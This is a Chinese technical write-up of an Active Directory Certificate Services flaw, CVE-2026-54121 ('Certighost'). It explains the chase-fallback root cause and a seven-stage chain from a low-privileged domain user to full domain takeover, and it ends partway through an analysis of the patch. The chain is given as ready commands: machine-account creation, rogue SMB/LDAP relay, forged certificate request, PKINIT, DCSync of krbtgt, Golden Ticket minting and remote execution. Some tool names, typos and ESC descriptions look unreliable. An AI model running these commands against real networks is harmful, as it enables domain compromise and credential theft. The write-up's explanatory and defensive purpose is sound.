目录


1. 漏洞概述

2026 年 7 月补丁星期二中,微软修复了一个影响 Active Directory Certificate Services(AD CS)的高危授权缺陷——CVE-2026-54121,社区代号 Certighost。该漏洞由安全研究员 @h0j3n 和 @aniqfakhrul 发现并披露,技术细节于 2026 年 7 月 24 日公开,PoC 代码同步发布于 GitHub。

Certighost 的核心问题不在密码学、不在模板配置错误、也不在 NTLM relay 的传统套路,而是直击 AD CS enrollment 协议中一个被忽视了十余年的"回退"机制——chase 回退(chase fallback)。这个机制允许证书请求在 CA 无法直接获取终端实体信息时,由请求方"指路":告诉 CA 去哪台机器上查询该实体的身份。问题在于,CA 从不验证这条"指路"是否指向真正的域控制器。

最终结果是:一个只拥有最低域用户权限(甚至连机器账户都不需要预置)的攻击者,可以诱导 Enterprise CA 为任意域控制器签发身份证书,进而通过 PKINIT 认证为该 DC,执行 DCSync 抽取 krbtgt,铸造 Golden Ticket,完成全域接管。整条链路不需要域管凭据、不需要域控的本地访问、不需要提权,唯一的前提是网络上存在一台配置了默认 Machine 模板的 Enterprise CA。

漏洞核心属性表:

属性 值
CVE 编号 CVE-2026-54121
社区代号 Certighost
CVSS 评分 8.8(High)
漏洞类型 Improper Authorization(CWE-285)
影响组件 Active Directory Certificate Services(AD CS)
关键二进制 certpdef.dll(Policy Module)
攻击向量 网络 / 域内横向
所需权限 任意低权限域账户
前置条件 Enterprise CA + 默认 Machine 模板 + 网络可达 CA
影响 冒充任意域控制器、DCSync、Golden Ticket、全域接管
发现者 @h0j3n、@aniqfakhrul
披露日期 2026-07-24
微软补丁 2026-07-14(7 月补丁星期二)
PoC https://github.com/aniqfakhrul/CVE-2026-54121

为什么这个漏洞值得高度关注? 传统 ADCS 攻击谱系(ESC1 至 ESC15)几乎都围绕"模板配置错误"展开——SAN 滥用、低权限 ENROLLEE、EDITF_ATTRIBUTESUBJECTALTNAME2 标志位等。防御方据此形成了思维定式:"只要审计模板 ACL、关闭 SAN 标志、收紧 ENROLLEE 权限,AD CS 就是安全的。"Certighost 击碎了这个假设。即便所有模板配置完全合规、即便 Machine 模板以默认最严格姿态部署,只要 Enterprise CA 的 chase 回退路径未经验证,攻击者依然能借道 CA 把任意 DC 的身份"签"出来。这是一种协议设计层面的授权缺陷,而非配置错误,因此无法通过模板审计发现,也无法通过常规的 ADCS 安全基线消除。


2. 背景知识:AD CS 与 enrollment chase 回退机制

2.1 AD CS 与 Machine 模板

Active Directory Certificate Services 是微软在 Windows Server 上提供的 PKI 实现,承担企业内证书签发、撤销、CRL 发布等职责。在企业域环境中,AD CS 最常见的用途之一是为域内机器颁发身份证书——用于 802.1X、S/MIME、Kerberos PKINIT、设备认证等场景。

机器证书的签发依赖一个名为 Machine 的内置证书模板。该模板具备以下默认特征:

  • Subject Name Source:DNS name,即从 AD 中读取计算机对象的 dNSHostName 属性
  • Subject Alt Name (SAN):无显式 SAN,主体名称即为 DNS 名
  • Enrollment 权限:默认授予 Domain Computers 组
  • Authorized Signature Count:0(不要求签名计数)
  • Certificate Name Flag:默认不包含 ENROLLEE_SUPPLIES_SUBJECT,即申请方不能自行指定 SAN

从模板配置角度看,Machine 模板是"干净"的:申请方不能任意填写 SAN,主体名称由 CA 从 AD 拉取。这也是为什么传统 ESC1 类漏洞对默认 Machine 模板无效——它根本不允许申请方控制证书主体。

2.2 enrollment 流程与终端实体解析

当一台域加入的机器向 Enterprise CA 申请 Machine 模板证书时,标准 enrollment 流程如下:

  1. 客户端通过 DCOM/RPC 连接 CA,提交 CertEnroll 请求(ICertRequestD::Request)
  2. CA 收到请求后,需要确定证书主体——即终端实体(end-entity)的身份信息
  3. CA 通过查询本地 Active Directory 来解析请求方对应的计算机对象,读取其 dNSHostName、objectSid、userAccountControl 等属性
  4. CA 用解析到的信息填充证书 Subject 与 SubjectAltName
  5. CA 校验申请方对该模板的 enrollment 权限,签发证书

整个解析过程依赖一个隐含前提:CA 所在的域控制器就是权威身份源。Enterprise CA 通常与域控分离部署,CA 通过 LDAP 查询域控获取对象信息。正常情况下,这台被查询的域控就是 CA 所在域的真正 DC。

2.3 chase 回退:被忽视的"指路"机制

然而,AD CS 的 enrollment 协议在工程实现上预留了一条回退路径——chase 回退。当 CA 由于网络问题、权限不足或对象缺失等原因无法通过常规 LDAP 查询获取终端实体信息时,协议允许请求方在请求中提供两个回退属性,告诉 CA "去哪里查":

  • cdc(Client DC):指向一台 AD 服务器(域控制器),CA 应该向这台机器发起 LDAP 查询
  • rmd(Request Machine Domain):指向目标机器对象本身,CA 据此定位要查询的计算机账户

这两个属性嵌入在 ICertRequestD::Request 调用的请求字符串(request attributes)中,典型形式如下:

[RequestAttributes]
cdc=DC01.contoso.com
rmd=WKSTN01$

设计本意是好的:在跨域、跨站点、网络隔离等复杂场景下,CA 可能无法直接定位到正确的 DC 或目标机器对象,于是把"指路权"交给更知情的请求方。问题在于,CA 信任了请求方提供的 cdc 指针,却从未验证 cdc 指向的机器究竟是不是真正的域控制器。

这就是 Certighost 的命门。


3. 漏洞根因:未经验证的 chase 目标

3.1 设计假设的崩塌

chase 回退机制的设计基于一个核心假设:请求方是诚实的。换言之,设计者认为只有合法的域加入机器、合法的 enrollment 客户端才会发起带 cdc/rmd 属性的请求,它们提供的 cdc 必然指向真实 DC。

这个假设在以下三个层面崩塌:

  1. 任何域用户都能发起 enrollment 请求:低权限域账户通过 ms-DS-MachineAccountQuota(默认 10)即可创建机器账户,进而以"机器身份"发起 enrollment
  2. cdc 可以指向任意主机:协议层面没有任何机制约束 cdc 必须解析到真实 DC,攻击者完全可以把它指向自己控制的主机
  3. CA 不验证 cdc 目标的 DC 身份:CA 拿到 cdc 后,会直接对它发起 SMB(445)和 LDAP(389)连接以"获取"终端实体信息,但完全不校验这台主机是否真是域控、是否持有 SERVER_TRUST_ACCOUNT(userAccountControl 8192)标志

3.2 攻击者控制的服务器扮演了什么角色

当攻击者把 cdc 指向自己控制的主机后,CA 会主动出站连接这台主机。攻击者在这台主机上需要运行两个"伪造"服务:

  • SMB 服务(445):伪装成正常 DC 的 SMB 端点,回应 CA 的 SMB 协商
  • LDAP 服务(389):伪装成 AD 目录服务,回应对计算机对象的 LDAP 查询

但关键点在于:CA 在建立这两条连接后,并不会从 LDAP 上直接"读"出目标 DC 的身份属性就完事。CA 还需要做一次身份校验——确认发起 enrollment 的请求方确实是它声称的那台机器。这次校验通过 Netlogon 协议完成。

于是攻击者需要做一件更巧妙的事:把 CA 发起的认证 challenge 转发(relay)到真正的域控上。

3.3 认证 challenge 的 relay 链

具体来说,当 CA 通过 SMB 连接攻击者的伪造服务器时,CA 会发起一次 NTLM 或 Kerberos 认证(取决于协商结果)。攻击者的伪造 SMB 服务器不响应这次认证,而是把 challenge relay 到真实 DC 的 Netlogon 服务(端口 445/139 上的 NetrServerAuthenticate3 调用)。

注意:这里 relay 的目标不是任意 DC,而是攻击者想要冒充的那台目标 DC。真实 DC 在收到这次 Netlogon 调用后,会基于自身的计算机账户凭据完成认证协商,并返回自身的身份信息:

  • 该 DC 的 objectSid
  • 该 DC 的 dNSHostName
  • 该 DC 的其他计算机账户属性

攻击者拿到这些信息后,把它们喂给自己控制的 LDAP 伪造服务。当 CA 接着发起 LDAP 查询"这台机器是谁"时,伪造 LDAP 服务返回目标 DC 的 objectSid 和 dNSHostName。

与此同时,攻击者用自己创建的机器账户(持有合法凭据)作为 enrollment 的实际发起方,提供合法的域身份校验通过。CA 看到的是:"请求方提供了合法凭据 + cdc 指向一台返回了 DC01 身份信息的服务器"——于是 CA 签发了一张主体为 DC01 的证书。

3.4 为什么 CA 不察觉

CA 之所以察觉不到异常,根因在于以下设计缺陷的叠加:

设计点 缺陷表现
cdc 属性信任 不校验 cdc 指向的主机是否为真实 DC
LDAP 来源信任 不校验 LDAP 响应是否来自真实 DC
身份与请求方解耦 enrollment 请求方身份校验与证书主体身份解析是两条独立路径,前者通过、后者伪造,CA 不交叉验证
objectSid 不绑定 证书签发时不强制要求 objectSid 与请求方 objectSid 严格相等
userAccountControl 不校验 不要求被签发的计算机对象必须包含 SERVER_TRUST_ACCOUNT(8192)标志才能签发 DC 类证书

只要这五个缺口同时存在,攻击者就能让 CA 为一台它根本不该为其签发 DC 身份证书的机器签发证书。这正是 certpdef.dll 在补丁前所呈现的状态。


4. 完整攻击链七阶段详解

Certighost 的完整利用链由七个阶段构成,从最卑微的域用户凭据出发,最终抵达全域接管。

阶段 1:创建/复用机器账户

攻击者仅需一个普通域用户账户(如 contoso\lowpriv)。利用 AD 默认赋予每个域用户的 ms-DS-MachineAccountQuota(默认值 10),攻击者可以创建最多 10 个机器账户而无需任何特权。

# 使用 Impacket 的 addcomputer 创建机器账户
addcomputer.py -computer-name 'ROGUE$' -computer-pass 'P@ssw0rd!' \
  -dc-ip 10.0.0.10 contoso.com/lowpriv:Password123

# 或使用 Certipy(更推荐,原生支持后续链路)
certipy account create -u 'lowpriv@contoso.com' -p 'Password123' \
  -dc-ip 10.0.0.10 -user 'ROGUE$'

成功后,攻击者拥有了一个名为 ROGUE$ 的机器账户,以及对应的凭据 ROGUE$:P@ssw0rd!。这个账户将用于:

  • 作为 enrollment 的合法请求方
  • 提供通过 CA 身份校验所需的合法域身份

阶段 2:启动 SMB 与 LDAP 监听器

攻击者在受控主机(可以是域内任意可达机器,甚至是域外主机,只要 CA 能路由到它)上启动两个伪造服务:

# 伪造 SMB 服务,监听 445
# 该服务不响应认证,而是将 challenge relay 到真实 DC
python3 rogue_smb.py --listen 0.0.0.0:445 \
  --relay-target 10.0.0.10 \
  --victim-dc DC01.contoso.com

# 伪造 LDAP 服务,监听 389
# 该服务等待 SMB relay 完成后,向 CA 返回目标 DC 的身份属性
python3 rogue_ldap.py --listen 0.0.0.0:389 \
  --spoof-object "DC01$" \
  --spoof-dnshostname "DC01.contoso.com"

实际 PoC 中,这两个服务由单一 Python 进程统一编排(详见 aniqfakhrul 的 GitHub 仓库),但逻辑上可以拆为这两步。伪造 LDAP 服务的关键是返回的内容必须包含真实 DC 的:

  • objectSid:DC01 计算机账户的 SID
  • dNSHostName:DC01.contoso.com
  • sAMAccountName:DC01$

这些信息来自阶段 3 的 relay。

阶段 3:CA challenge relay 到真实 DC 的 Netlogon

当攻击者向 CA 提交 enrollment 请求(带 cdc=attacker.host 与 rmd=DC01$)后,CA 会主动连接攻击者的伪造服务器。CA 通过 SMB 连接时发起 NTLM 认证 challenge。

攻击者的伪造 SMB 服务器将这个 challenge relay 到真实 DC01 的 Netlogon 通道。Netlogon 协议中的 NetrServerAuthenticate3 调用会触发 DC01 用自身的计算机账户凭据完成认证响应。

relay 完成后,攻击者从 Netlogon 响应中提取出 DC01 的:

  • objectSid(DC01 计算机账户的 SID)
  • dNSHostName
  • 部分 Netlogon 协商返回的账户属性

这些数据被回填到伪造 LDAP 服务的响应中,等待 CA 的下一次查询。

阶段 4:提交 cdc 与 rmd 属性触发 enrollment

攻击者使用阶段 1 创建的机器账户凭据,向 Enterprise CA 提交带 chase 属性的 enrollment 请求:

# 使用 Certipy 触发漏洞链(PoC 集成)
certipy req -u 'ROGUE$@contoso.com' -p 'P@ssw0rd!' \
  -ca 'CORP-CA01-CA' -template 'Machine' \
  -dc-ip 10.0.0.10 \
  --cdc attacker.host.contoso.com \
  --rmd 'DC01$'

--cdc 与 --rmd 是 Certipy PoC 分支新增的参数,对应底层 ICertRequestD::Request 调用中的 [RequestAttributes] 段。

CA 收到请求后的行为:

  1. 校验 ROGUE$ 凭据 → 通过(合法机器账户)
  2. 校验 ROGUE$ 对 Machine 模板的 enrollment 权限 → 通过(默认 Domain Computers 组)
  3. 解析终端实体身份 → 触发 chase 回退
  4. 读取 cdc=attacker.host.contoso.com → 向 attacker.host 发起 SMB+LDAP 连接
  5. SMB challenge → 被 relay 到真实 DC01 → 拿到 DC01 的 objectSid/dNSHostName
  6. LDAP 查询 → 伪造服务返回 DC01 的身份属性
  7. 签发证书,主体为 DC01.contoso.com,SAN/Subject 包含 DC01 的 dNSHostName

阶段 5:获得 PFX 与 Kerberos 凭据缓存

CA 签发完成后,攻击者通过 enrollment 响应拿到证书。Certipy 会自动把证书导出为 PFX 文件,并写入 Kerberos 凭据缓存(ccache):

[*] Request ID: 0x1A3
[*] Successfully received certificate
[*] Certificate saved to: DC01.pfx
[*] Got Kerberos credentials cache: DC01.ccache

PFX 文件中包含一张由 Enterprise CA 签发的、主体为 DC01.contoso.com 的机器证书。这张证书在 PKI 层面完全合法——签名链有效、模板正确、CA 授权充分。唯一的问题是它的主体本不该是 DC01。

阶段 6:PKINIT 认证为目标 DC

PKINIT 是 Kerberos 协议的公钥扩展(RFC 4556),允许使用证书而非密码获取 TGT。Windows 域内 DC 默认支持 PKINIT,机器证书可作为计算机账户的身份凭据。

攻击者用拿到的 PFX 向 KDC(即某台真实 DC)发起 PKINIT AS-REQ,请求一张以 DC01$ 身份发起的 TGT:

# 使用 Certipy 的 auth 子命令通过 PKINIT 获取 TGT
certipy auth -pfx DC01.pfx -dc-ip 10.0.0.10 \
  -username 'DC01$' -domain contoso.com

成功后,攻击者手中持有一张 以 DC01 计算机账户身份签发的 TGT。在 Kerberos 授权模型中,DC01 计算机账户在域内享有特权——它是域控,可以发起 DRSUAPI 复制调用。

阶段 7:DCSync 抽取 krbtgt → Golden Ticket → 全域接管

DCSync 是域内一项经典攻击技术,通过模拟域控的目录复制行为(DRSGetNCChanges RPC 调用)从其他 DC 拉取任意账户的哈希,包括 krbtgt。该调用要求调用方具备 Replicating Directory Changes / Replicating Directory Changes All 权限——通常只有 DC 计算机账户和域管拥有。

攻击者手中持有 DC01 的 TGT,于是直接执行 DCSync:

# 使用 Impacket 的 secretsdump 执行 DCSync
KRB5CCNAME=DC01.ccache secretsdump.py -k -no-pass \
  -dc-ip 10.0.0.10 contoso.com/DC01\$@DC01.contoso.com

# 或使用 Certipy 的 sync 子命令
certipy sync -k -no-pass -dc-ip 10.0.0.10 \
  -ccache DC01.ccache -domain contoso.com

输出中将包含 krbtgt 账户的 NTLM 哈希与 AES 密钥:

krbtgt:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:aes256-cts-hmac-sha1-96:7e5c1...(截断)

拿到 krbtgt 后,攻击者可以铸造 Golden Ticket——一张以任意用户身份(包括域管 Administrator)签发、用 krbtgt 哈希加密的 TGT。该 TGT 在 krbtgt 密钥未轮换前永久有效:

# 使用 ticketer 铸造 Golden Ticket
ticketer.py -domain contoso.com -domain-sid S-1-5-21-... \
  -nthash 31d6cfe0d16ae931b73c59d7e0c089c0 \
  -spn krbtgt contoso.com/administrator

# 注入并访问域内任意资源
export KRB5CCNAME=administrator.ccache
smbexec.py -k -no-pass contoso.com/administrator@DC01.contoso.com

至此,攻击者从一个最低权限域用户出发,仅借助一台配置默认 Machine 模板的 Enterprise CA,完成了全域接管。整条链路不需要域管凭据、不需要域控本地访问、不需要提权操作、不需要利用任何配置错误。


5. ASCII 攻击时序图与架构图

5.1 整体架构图

+-------------------+        +-------------------+        +-------------------+
|   攻击者主机      |        |  Enterprise CA    |        |  目标域控 DC01    |
|  (低权限域用户)   |        |  (certpdef.dll)   |        | (Netlogon/DRSUAPI)|
+-------------------+        +-------------------+        +-------------------+
|                   |        |                   |        |                   |
| 1.创建 ROGUE$     |        |                   |        |                   |
|   机器账户        |        |                   |        |                   |
|                   |        |                   |        |                   |
| 2.启动 rogue SMB  |        |                   |        |                   |
|   (445) + rogue   |        |                   |        |                   |
|   LDAP (389)      |        |                   |        |                   |
|                   |        |                   |        |                   |
| 4.提交 enrollment |        |                   |        |                   |
|   请求带 cdc/rmd  | -----> | 收到请求          |        |                   |
|                   |        | 校验 ROGUE$ 凭据  |        |                   |
|                   |        | 校验模板权限      |        |                   |
|                   |        | 触发 chase 回退   |        |                   |
|                   |        |                   |        |                   |
|                   | <----- | 5.SMB 连接 cdc    |        |                   |
|                   |        |   (NTLM challenge)|        |                   |
|                   |        |                   |        |                   |
| 3.relay challenge |        |                   |        |                   |
|   到 DC01 Netlogon| ----------------------------------> | NetrServerAuth3   |
|                   |        |                   | <---  | 返回 DC01 的       |
|                   |        |                   |        | objectSid/        |
|                   |        |                   |        | dNSHostName       |
|                   |        |                   |        |                   |
|                   | <----- | 6.LDAP 查询       |        |                   |
|                   |        |   (查询 DC01$)    |        |                   |
|                   |        |                   |        |                   |
| 返回 DC01 身份    | -----> |                   |        |                   |
|  (objectSid/      |        | 7.签发证书        |        |                   |
|   dNSHostName)    |        |   主体=DC01       |        |                   |
|                   |        |                   |        |                   |
| 8.接收 PFX/ccache | <----- |                   |        |                   |
|                   |        |                   |        |                   |
| 9.PKINIT 认证为   |        |                   |        |                   |
|   DC01$ 获取 TGT  | ---------------------------------> | KDC 验证证书      |
|                   | <--------------------------------- | 返回 DC01$ TGT    |
|                   |        |                   |        |                   |
| 10.DRSGetNCChanges|        |                   |        |                   |
|   (DCSync)        | ---------------------------------> | 返回 krbbtgt 哈希 |
|                   | <--------------------------------- | krbtgt:31d6...    |
|                   |        |                   |        |                   |
| 11.铸造 Golden    |        |                   |        |                   |
|    Ticket         |        |                   |        |                   |
|    全域接管       |        |                   |        |                   |
+-------------------+        +-------------------+        +-------------------+

5.2 攻击时序图

攻击者            Rogue SMB(445)   Rogue LDAP(389)   Enterprise CA      真实 DC01
  |                     |                 |                 |                 |
  |--- 创建 ROGUE$ ---->|                 |                 |                 |
  |     (机器账户)      |                 |                 |                 |
  |                     |                 |                 |                 |
  |--- 启动监听 -------->|                 |                 |                 |
  |                     |<-- listen 445 --|                 |                 |
  |                     |                 |<-- listen 389 --|                 |
  |                     |                 |                 |                 |
  |--- 提交 enrollment  |                 |                 |                 |
  |     cdc=attacker    |                 |                 |                 |
  |     rmd=DC01$       |                 |                 |                 |
  |-----------------------------------------------------> |                 |
  |                     |                 |                 |                 |
  |                     |                 |                 |-- 校验 ROGUE$   |
  |                     |                 |                 |-- 校验 Machine  |
  |                     |                 |                 |   模板权限      |
  |                     |                 |                 |-- 触发 chase    |
  |                     |                 |                 |   回退          |
  |                     |                 |                 |                 |
  |                     |                 |                 |-- SMB 连接 ---->|
  |                     |                 |                 |   cdc 指向      |
  |                     |<-- NTLM         |                 |   attacker.host |
  |                     |    challenge    |                 |                 |
  |                     |                 |                 |                 |
  |                     |-- relay         |                 |                 |
  |                     |   challenge     |                 |                 |
  |                     |   到 DC01       |                 |                 |
  |                     |------------------------------------------------- >|
  |                     |                 |                 |  NetrServer     |
  |                     |                 |                 |  Authenticate3  |
  |                     |<------------------------------------------------- |
  |                     |                 |                 |  返回 DC01 的   |
  |                     |                 |                 |  objectSid/     |
  |                     |                 |                 |  dNSHostName    |
  |                     |                 |                 |                 |
  |                     |                 |                 |-- LDAP 查询 ---->|
  |                     |                 |                 |   DC01$         |
  |                     |                 |<-- 查询请求 ----|                 |
  |                     |                 |                 |                 |
  |                     |                 |-- 返回 DC01     |                 |
  |                     |                 |   身份属性 ---->|                 |
  |                     |                 |                 |                 |
  |                     |                 |                 |-- 签发证书      |
  |                     |                 |                 |   主体=DC01     |
  |<-------------------------------------------------------|                 |
  |  返回 PFX + ccache   |                 |                 |                 |
  |                     |                 |                 |                 |
  |--- PKINIT AS-REQ ---|                 |                 |                 |
  |     (用 PFX)        |                 |                 |                 |
  |---------------------------------------------------------------------> |
  |<--------------------------------------------------------------------- |
  |  返回 DC01$ 的 TGT   |                 |                 |                 |
  |                     |                 |                 |                 |
  |--- DRSGetNCChanges -|                 |                 |                 |
  |     (DCSync)        |                 |                 |                 |
  |---------------------------------------------------------------------> |
  |<--------------------------------------------------------------------- |
  |  返回 krbtgt 哈希    |                 |                 |                 |
  |                     |                 |                 |                 |
  |=== 全域接管完成 ===  |                 |                 |                 |
  |     Golden Ticket   |                 |                 |                 |
  |                     |                 |                 |                 |

6. 工具实操:Certipy 与 DCSync

6.1 Certipy:ADCS 攻击瑞士军刀

Certipy 是目前最主流的 ADCS 攻击与审计工具,由 @ly4k 维护,Python 实现。CVE-2026-54121 的 PoC 也以 Certipy 扩展参数的形式发布。

安装:

pip install certipy-adc
# 或从源码安装 PoC 分支
git clone https://github.com/aniqfakhrul/CVE-2026-54121
cd CVE-2026-54121
pip install -e .

关键子命令:

子命令 用途 在 Certighost 链路中的角色
account create 创建机器账户 阶段 1
req 提交证书申请 阶段 4(带 --cdc/--rmd)
auth 用 PFX 通过 PKINIT 获取 TGT 阶段 6
sync 执行 DCSync 阶段 7
find 枚举 ADCS 配置 攻击前侦察

侦察阶段(寻找可用的 Enterprise CA 与 Machine 模板):

certipy find -u 'lowpriv@contoso.com' -p 'Password123' \
  -dc-ip 10.0.0.10 -stdout

输出中需确认:

  • 存在至少一台 Enterprise CA(CA Name 字段)
  • Machine 模板启用且 Enabled 为 True
  • Machine 模板的 Permissions 中 Domain Computers 拥有 Enrollment 权限

阶段 4 完整调用(PoC 核心):

certipy req -u 'ROGUE$@contoso.com' -p 'P@ssw0rd!' \
  -ca 'CORP-CA01-CA' -template 'Machine' \
  -dc-ip 10.0.0.10 \
  --cdc attacker.host.contoso.com \
  --rmd 'DC01$' \
  --rogue-smb 0.0.0.0:445 \
  --rogue-ldap 0.0.0.0:389 \
  --relay-target DC01.contoso.com

PoC 分支会自动启动 rogue SMB 与 LDAP 监听器、提交 enrollment 请求、relay challenge、接收 PFX。一条命令完成阶段 1-5。

6.2 DCSync:从 TGT 到 krbtgt

DCSync 的底层是 MS-DRSR(Directory Replication Service Remote)协议中的 IDL_DRSGetNCChanges 调用。当一台 DC 向另一台 DC 请求目录复制时,调用方需要持有以下权限之一:

  • Replicating Directory Changes
  • Replicating Directory Changes All
  • Replicating Directory Changes In Filtered Set

DC 计算机账户默认拥有这些权限。攻击者持有 DC01 的 TGT 后,KDC 在签发 service ticket 时会附带 PAC,PAC 中包含 DC01 的组成员关系与权限信息。DRSUAPI 服务在校验调用方时读取 PAC,确认其具备复制权限,于是放行。

Impacket secretsdump 执行 DCSync:

# 使用 ccache(PKINIT 获取的 TGT)
export KRB5CCNAME=DC01.ccache
secretsdump.py -k -no-pass -dc-ip 10.0.0.10 \
  'contoso.com/DC01$@DC01.contoso.com'

# 仅抽取 krbtgt
secretsdump.py -k -no-pass -dc-ip 10.0.0.10 \
  -just-dc-user krbtgt \
  'contoso.com/DC01$@DC01.contoso.com'

典型输出:

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
krbtgt:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Kerberos keys grabbed
krbtgt:aes256-cts-hmac-sha1-96:7e5c1e3b8f9a2c4d...
krbtgt:aes128-cts-hmac-sha1-96:1f2a3b4c5d6e7f80...
[*] Cleaning up...

6.3 Golden Ticket 铸造与使用

拿到 krbtgt 哈希后,可铸造任意身份的 TGT:

# Impacket ticketer 铸造 Golden Ticket
ticketer.py -domain contoso.com \
  -domain-sid S-1-5-21-1234567890-123456789-123456789 \
  -nthash 31d6cfe0d16ae931b73c59d7e0c089c0 \
  -user-id 500 -user-name administrator \
  -groups 519 512 518 520 \
  -duration 3650 \
  administrator

# 使用 Golden Ticket 访问域控
export KRB5CCNAME=administrator.ccache
wmiexec.py -k -no-pass contoso.com/administrator@DC01.contoso.com
psexec.py -k -no-pass contoso.com/administrator@DC01.contoso.com

Golden Ticket 默认有效期 10 年(-duration 3650),只要 krbtgt 密钥未轮换,该 TGT 永久有效,且可在域内任意服务上通过认证。


7. 与传统 ADCS 攻击 ESC1-ESC15 对比

ADCS 攻击谱系由 SpecterOps 在 2022 年的 Black Hat 演讲"Certified Pre-Owned"中系统化提出,按发现顺序编号 ESC1-ESC15。Certighost 在多个维度上与这些传统攻击有本质差异。

7.1 攻击谱系速览

ESC 编号 漏洞本质 核心缺陷位置
ESC1 模板允许 ENROLLEE_SUPPLIES_SUBJECT + 低权限可申请 模板配置
ESC2 模板允许 Any Purpose / SubCA 用途 + 低权限可申请 模板配置
ESC3 模板证书可作 EKU=Certificate Request Agent,间接申请 模板链
ESC4 模板 ACL 允许低权限修改模板自身 模板 ACL
ESC5 PKI 容器 ACL 弱,可修改 CA 配置 AD 容器 ACL
ESC6 EDITF_ATTRIBUTESUBJECTALTNAME2 全局标志 + SAN 注入 CA 标志位
ESC7 CA ACL 允许低权限 Manage CA / Manage Certificates CA ACL
ESC8 NTLM relay 到 HTTP/HTTPS enrollment 端点 协议 relay
ESC9 SubjectAltName + ESCB 链组合 主体解析
ESC10 弱 SubjectAltName 校验(仅 dNSHostName) 主体解析
ESC11 NTLM relay 到 RPC/DCOM enrollment(增强签名绕过) 协议 relay
ESC12 证书模板引用外部 UPN/SPN 注入 模板引用
ESC13 模板绑定的组策略 EKU 导致权限放大 模板 EKU
ESC14 NTLM relay + 弱域名匹配 主体解析
ESC15 模板 v3/v4 EKU 解析差异 模板版本

7.2 Certighost 与 ESC1-ESC15 的关键差异

对比维度 ESC1-ESC15(传统) Certighost(CVE-2026-54121)
缺陷类别 模板配置错误 / ACL 弱 / relay 滥用 协议设计层授权缺陷
触发位置 模板属性、CA 标志、CA ACL、enrollment 端点 chase 回退路径
是否需要配置错误 是(某项配置偏离安全基线) 否(默认配置即可触发)
Machine 默认模板是否受影响 否(ESC1 要求 SAN,Machine 不允许) 是
是否需要 relay 中间人 ESC8/ESC11 需要,其他不需要 需要(relay 到 DC Netlogon)
relay 目标 enrollment 端点(HTTP/RPC) DC Netlogon(提取 DC 身份)
可签发主体范围 取决于模板 SAN 配置 任意域控制器
最终危害 通常冒充单台高权限账户 直接冒充 DC,DCSync 全域
检测难度 中(模板审计可发现) 高(默认配置,审计不可见)
修复方式 修改模板配置 / CA 标志 / ACL 微软补丁 + 临时禁用 chase 标志
是否需要域管修复 否(模板管理员即可) 否(但需打补丁或重启 CertSvc)
攻防成熟度 高(工具链完整、防御基线成熟) 新(防御基线缺失)

7.3 关键洞察

从上表可以提炼出三个关键洞察:

第一,Certighost 是协议级缺陷,而非配置级缺陷。 ESC1-ESC15 中没有任何一个能在"完全合规的默认配置"下触发。ESC1 要求管理员主动开启 ENROLLEE_SUPPLIES_SUBJECT;ESC6 要求管理员主动设置 EDITF_ATTRIBUTESUBJECTALTNAME2。这些缺陷的"可触发"前提本身就是"配置错误"。而 Certighost 不需要任何配置错误——默认 Machine 模板、默认 Enterprise CA 部署、默认 chase 回退行为,三者叠加即可被利用。

第二,Certighost 直接以 DC 为目标,跳过了传统 ADCS 攻击的"中间层"。 传统 ADCS 攻击即便成功,签出的证书主体通常是某个高权限用户(如域管),攻击者拿到该用户证书后还需进一步横向移动才能抵达 DCSync。Certighost 让 CA 直接为 DC01 签发证书,攻击者一步到位获得 DC 身份,DCSync 触手可及。

第三,传统 ADCS 安全基线对 Certighost 完全无效。 当前业界主流的 ADCS 安全基线(如微软 PKI 部署指南、SpecterOps 的 ADCS 审计清单)核心建议是:审计模板 ACL、关闭 SAN 标志、限制 ENROLTEE 权限、关闭 HTTP enrollment 端点。这些建议对 ESC1-ESC15 有效,但对 Certighost 完全无效——因为 Certighost 根本不依赖这些配置项。这是 Certighost 最危险的属性:它绕过了防御方已经建立的全部 ADCS 防御认知。


8. 修复补丁深度分析

8.1 补丁位置

微软在 2026 年 7 月补丁中为 certpdef.dll(Certificate Server Policy Module)添加了一个全新的校验函数:CRequestInstance::_ValidateChaseTargetIsDC。该函数在 chase 回退路径执行 LDAP 查询之前被调用,对 cdc 指向的目标进行严格校验。

8.2 校验内容

_ValidateChaseTargetIsDC 实施了五层校验:

校验层 内容 防御目标
1. 拒绝 IP 字面量 cdc 不能是 IPv4/IPv6 地址,必须是 DNS 名称 阻止攻击者用临时 IP 指向 rogue 服务器
2. 拒绝过长名称 cdc 长度不得超过 DNS 名称合理上限(255 字节) 防止缓冲区相关的边缘利用
3. 拒绝 LDAP 元字符 cdc 不得包含 *、(、)、\、/、NUL 等 防止 LDAP 注入与路径穿越
4. 精确匹配一个 AD 计算机对象 cdc 解析到的 DNS 名称必须对应唯一的 AD 计算机对象,且该对象的 dNSHostName 必须精确匹配(非子串匹配) 防止对象模糊解析
5. userAccountControl 含 SERVER_TRUST_ACCOUNT 匹配到的计算机对象的 userAccountControl 必须包含 SERVER_TRUST_ACCOUNT(0x2000 = 8192)标志 核心校验:确保 cdc 指向的确实是域控制器

SERVER_TRUST_ACCOUNT(8192)是 Windows 域中专门标记域控计算机账户的标志位。普通机器账户的 userAccountControl 通常为 4096(WORKSTATION_TRUST_ACCOUNT),只有 DC 才会包含 8192。补丁强制要求 cdc 目标必须具备该标志,从根本上杜绝了"任意主机冒充 DC"的可能。

8.3 SID 比较阻止对象替换

除了 _ValidateChaseTargetIsDC,补丁还在证书签发的最终阶段增加了 SID 一致性校验:

  • 记录 chase 路径返回的计算机对象 objectSid(来自 LDAP 查询)
  • 记录 enrollment 请求方实际持有的 objectSid(来自认证上下文)
  • 签发前校验两者是否相等,或请求方是否对目标对象具备合法授权

这一层校验防止了攻击者用 ROGUE$ 的合法凭据通过认证、却让 LDAP 伪造服务返回 DC01 的 objectSid 的"对象替换"攻击。即便攻击者绕过了前面的 chase 目标校验(例如通过某种 LDAP 投毒让真实 DC 返回错误对象),最终签名时也会因 SID 不一致被拒绝。

8.4 补丁前后行为对比

=== 补丁前 ===
CA 收到 enrollment 请求
  |- 校验请求方凭据 (ROGUE$) -> OK
  |- 校验模板权限 -> OK
  |- 解析终端实体
       |- 触发 chase 回退
       |- 读取 cdc=attacker.host
       |- 连接 attacker.host SMB+LDAP  [无任何校验]
       |- 拿到 objectSid/dNSHostName
  |- 签发证书 (主体=DC01)            [无 SID 一致性校验]
  |- 返回 PFX

